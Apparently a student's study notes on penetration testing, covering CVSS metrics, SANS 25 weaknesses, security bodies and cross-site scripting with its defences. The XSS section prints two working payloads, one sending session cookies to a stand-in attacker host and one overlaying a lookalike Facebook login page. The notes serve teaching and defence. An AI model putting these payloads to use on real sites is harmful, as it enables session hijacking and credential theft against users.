Definitions:

* Zero Day Attack: Attacks which have no current fix
* Pen Tester/Ethical Hacker: Employees who simulate attacks on a system to help improve security
* vulnerability Assessment: An automated scanning product which probes the port and services on IP addresses.
* Cross-site Scripting(XSS): When an application accepts untrustworthy data and sends it to a browser without validation or escaping, allowing attackers to execute script in the victims browser.

Pen Test Process:

* + Set ground rules
    - Start/end and blackout dates
    - Approvals
    - Identify and alert parties
    - Set expectations
  + Passive Scanning:
    - Get info about target using Open Source Intelligence (OSINT)
  + Active Scanning and Enumeration
    - Figure out targets public exposure via tools
  + Fingerprinting:
    - Identify OS type and patch, Application and patch level, open ports account and running services
  + Select Target System
  + Exploit uncovered vulnerabilities
  + Exploit Privilege
  + Document

Tools

* Zed Attack Proxy(ZAP): A free tool for automated and manual testing of web application vulnerabilities
* CVSS(Common Vulnerability Scoring System): Assess security vulnerabilities by assigning scores to vulnerabilities which are calculated using a formula dependant on several metrics (scores range from 0 to 10)
  + Base score compromised of:
    - Attack Vector(AV): Where vulnerability exploitation is possible.
      * As one moves from physical to network: score increases
      * Compromised of :
        + Network: Vulnerable component bound to network stack and their path is via OSI layer 3
        + Adjacent: Limited to shared physical network
        + Local: Not bound to the network stack. Either the attacker has logged in locally or needs user interaction to execute the exploit
        + Physical: Attacker needs to physically manipulate vulnerable component
    - Attack Complexity(AC): Conditions beyond attacks control which must exist to exploit vulnerability
      * Either Low or High metrics. This means there is either no conditions/special conditions or is extremely dependant on them,
    - Privileges Required (PR)L Level of privileges an attacker needs. Score increase with fewer privileges
      * Can be either Low, High or None values. This means for exploit to be successful, needs either no, basic or high level of access
    - UI: Does an attack need another use to interact with something to exploit vulnerabilities
      * None or Required Interaction for exploits success
    - Scope (S): Does the vulnerability impact resources beyond means and privileges
      * Unchanged or Change scope means that the exploit effects either the confines of system or beyond it
    - Confidentiality (C): If information is disclosed to an unauthorised user
      * None, High or Low. Indicates how much info is leaked
    - Integrity (I): If veracity/trustworthiness of info maintained
      * None, High or Low values. These indicate how much integrity is lost and how serious of an impact it is
    - Availability (A):
      * Can a component be taken down, even partially, by exploit. Can either be totally taken offline(High) or just have reduced performance(Low)
* A screenshot of a computer screen

  Description automatically generated
* OWASP (Open Web Application Security Project) is an online community which creates articles, methodologies, tools and documents for the web application security sector
* SysAsmin, Audit, Network & Security(SANS): Private US company which specialises in training for info security and cyber security
* SANS 25(List of common dangerous errors):
  + Insecure interaction between components:
    - SQL Injection: Improper neutralisation of Special Elements used in SQL commands
    - OS Command injection: Improper neutralisation od special elements in OS command line
    - Cross Site scripting: Improper Neutralisation of input during web page generation
    - Unrestricted Upload of file with a dangerous type
    - Cross site request forgery
    - URL redirections
  + Resource Management Risks:
    - Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
    - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
    - Download of Code Without Integrity Check
    - Inclusion of Functionality from Untrusted Control Sphere
    - Use of Potentially Dangerous Function
    - Incorrect Calculation of Buffer Size
    - Uncontrolled Format String
    - Integer Overflow or Wraparound
  + Porous Defenses
    - Missing Authentication for Critical Function
    - Missing Authorization
    - Use of Hard-coded Credentials
    - Missing Encryption of Sensitive Data
    - Reliance on Untrusted Inputs in a Security Decision
    - Execution with Unnecessary Privileges
    - Incorrect Authorization
    - Incorrect Permission Assignment for Critical Resource
    - Use of a Broken or Risky Cryptographic Algorithm
    - Improper Restriction of Excessive Authentication Attempts
    - Use of a One-Way Hash without a Salt
* CWE (Common Weakness Enumeration: Developed list of common software security weaknesses
* Common Vulnerability and Exposures (CVE): Dictionary of known info security vulnerabilities and exposure.

Cross Site Scripting(XSS)

* How XSS works:
  + Attacker can craft malicious URL(URL with malicious text) and send it to victim
  + Victim tricked into requesting URL from website
  + Website includes the malicious string in response
  + Malicious scripts are executed from response and sends cookie to attackers server
* XSS makes use of improper treatment of dynamic content from a backend data store
* Stores/Persistent XSS: If a page is vulnerable to this, will execute injected script every time page is loaded
  + If one inspects source code, can see where data has gone
  + How it works:
    - Attacker Sends crafted payload
    - Victim logs in
    - Victim visits list of pages
    - The server then responds with the attackers JavaScript
    - Pop-up is loaded
    - Victims browser then sends session cookies to attacker who then hijacks the session
* Examples:
  + <img src ='http://attackersite.com/index.php?cookie= '+document.cookie > allows one to steal a sessions cookie
  + <iframe style=' position:fixed; top:0px; left:0px bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;'' src='http://faceboook.com/login.php' ></iframe> allows us to harvest credentials
* CVSS Score: A screenshot of a computer

  Description automatically generated
* To protect from XSS:
  + **Escape Dynamic Content**: Properly encode data before rendering it in a browser.
  + **Whitelist Inputs**: Restrict allowed values (e.g., dropdown lists).
  + **Content Security Policy (CSP)**: Specify allowed sources for scripts, preventing unauthorized execution.
  + **Sanitize HTML**: Use libraries to clean inputs of malicious scripts.
  + **HTTP-only Cookies**: Prevent JavaScript from accessing sensitive cookies.
* Browser Exploitation Framework project (BeEF) is a pen test tool which focus on the web browser, and using it, can launch hacking attacks on workstation within protected perimeter.